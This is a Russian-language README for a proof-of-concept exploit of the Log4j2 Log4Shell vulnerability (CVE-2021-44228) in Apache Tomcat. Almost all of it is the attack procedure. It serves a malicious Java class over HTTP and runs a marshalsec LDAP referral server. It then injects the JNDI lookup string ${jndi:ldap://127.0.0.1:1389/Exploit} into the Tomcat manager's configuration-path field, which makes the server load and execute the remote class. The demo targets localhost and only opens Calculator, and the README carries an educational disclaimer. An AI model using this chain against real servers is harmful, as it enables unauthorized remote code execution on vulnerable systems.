POC уязвимости Log4j2 CVE-2021-44228 в Apache Tomcat

Предпросмотр

GIF

Настройка

Запуск сервера Tomcat

git clone
cd apache-tomcat-10.0.14/bin
startup.bat

Раздача класса эксплойта

cd exploit
py -m http.server 8888

cd exploit
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Exploit"

Атака

Введите ${jndi:ldap://127.0.0.1:1389/Exploit} в поле 'XML Configuration file path' в приложении менеджера http://localhost:8080/manager/html

Класс эксплойта загружается, и происходит RCE (откроется приложение «Калькулятор»)

Отказ от ответственности

Репозиторий — это всего лишь POC, созданный в образовательных целях. Владелец репозитория не несёт ответственности за любой нанесённый ущерб. Как моральная заметка: не будьте злыми.

Ссылки

LDAP-эксплойт https://github.com/mbechler/marshalsec

apache-tomcat-log4j

Популярное